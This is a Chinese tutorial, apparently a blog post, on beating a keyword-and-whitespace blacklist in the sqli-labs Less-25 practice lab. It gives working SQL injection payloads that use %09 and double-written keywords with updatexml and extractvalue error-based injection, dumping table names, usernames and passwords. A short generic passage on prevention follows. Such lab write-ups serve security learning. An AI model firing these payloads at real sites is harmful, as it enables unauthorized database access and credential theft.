SQL注入 空格转换为空绕过

SQL注入 空格转换为空绕过

一、基础知识

1.preg_replace函数
preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串组。
$subject:要搜索替换的目标字符串或字符串数组


function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//or替换为空
	$id= preg_replace('/and/i',"", $id);		//and替换为空
	$id= preg_replace('/[\/\*]/',"", $id);		//(/*)替换为空
	$id= preg_replace('/[--]/',"", $id);		//(--)替换为空
	$id= preg_replace('/[#]/',"", $id);			//(#)替换为空
	$id= preg_replace('/[\s]/',"", $id);		//替换空格
	$id= preg_replace('/[\/\\\\]/',"", $id);		//替换反斜杠
	return $id;
}

2.编码方式
编码:hex,urlencode 空格URL编码%0a %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)

二、实战渗透

1.以sqli-labs-less25为例,经过前面的解读,我们已经知道过滤了空格and,or,/*,#,--,\
使用%09进行空格绕过

1'%09||'1

在这里插入图片描述

2.万能模板注入

?id=1' or '1'='1

在这里插入图片描述

1.方法一(updatexml报错注入)

1.使用||绕过空格,爆库

1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

在这里插入图片描述
2.爆破数据表

?id=1'||updatexml(1,concat(0x7e,(select  (group_concat(table_name)) from  (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479))),1)||'1'='1

在这里插入图片描述
3.爆破字段名

?id=1'||updatexml(1,concat(0x7e,(select  (group_concat(column_name)) from  (infoorrmation_schema.columns) where (table_name = 0x7573657273))),1)||'1'='1

在这里插入图片描述
4.爆破字段内容

1'||updatexml(1,concat(0x7e,(select  (group_concat(id,username,passwoorrd)) from (security.users))),1)||'1'='1

在这里插入图片描述

2.方法二(extractvalue报错注入)

1.爆破数据库
使用双写绕过orand;
使用括号绕过空格

?id=1'oorr(extractvalue(1,concat(0x7e,(select(database())),0x7e)))anandd '1'='1

在这里插入图片描述
2.爆破数据表

?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where (table_schema=database())),0x7e)))anandd '1'='1

在这里插入图片描述
3.爆破字段名

?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where (table_schema='security')anandd(table_name='users')),0x7e)))anandd '1'='1

在这里插入图片描述
4.爆破字段内容

?id=1'oorr(extractvalue(1,concat(0x7e,(select (group_concat(id,username,passwoorrd))from(users)),0x7e)))anandd '1'='1

在这里插入图片描述
至此,成功获取用户名和密码。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的安全漏洞,攻击者可以通过注入恶意的SQL代码来绕过应用程序的安全限制,执行非授权的数据库操作。在处理逻辑运算符时,攻击者可以利用这些运算符来绕过应用程序的验证和过滤机制。 以下是几种常见的绕过逻辑运算符的方法: 1. 使用注释符号绕过:攻击者可以使用注释符号(例如"--"或"/*")将恶意代码注释掉,从而绕过应用程序的验证。 2. 利用布尔逻辑:攻击者可以使用布尔逻辑运算符(例如AND、OR、NOT)来构造恶意查询,以绕过应用程序的过滤机制。例如,攻击者可以使用OR运算符来绕过用户名和密码的验证。 3. 利用字符串拼接:如果应用程序在构建SQL查询时使用了字符串拼接,而没有正确地对用户输入进行转义或参数化处理,那么攻击者可以通过插入特殊字符来改变查询的逻辑。例如,攻击者可以在输入中插入单引号来绕过字符串的闭合,从而在查询中插入恶意代码。 4. 利用逻辑错误:有时应用程序中可能存在逻辑错误,攻击者可以通过利用这些错误来绕过验证和过滤机制。例如,攻击者可以通过构造恶意的查询条件来绕过应用程序的逻辑判断。 为了防止SQL注入攻击,开发人员应该采取以下措施: - 使用参数化查询或预编译语句,而不是字符串拼接来构建SQL查询。 - 对用户输入进行正确的转义或过滤处理,以防止恶意代码的注入。 - 最小化数据库用户的权限,只给予其必要的权限。 - 定期更新和修补数据库和应用程序的安全漏洞。 总之,防止SQL注入攻击是一个综合性的工作,需要在应用程序设计和开发的各个环节都严格遵循安全原则和最佳实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值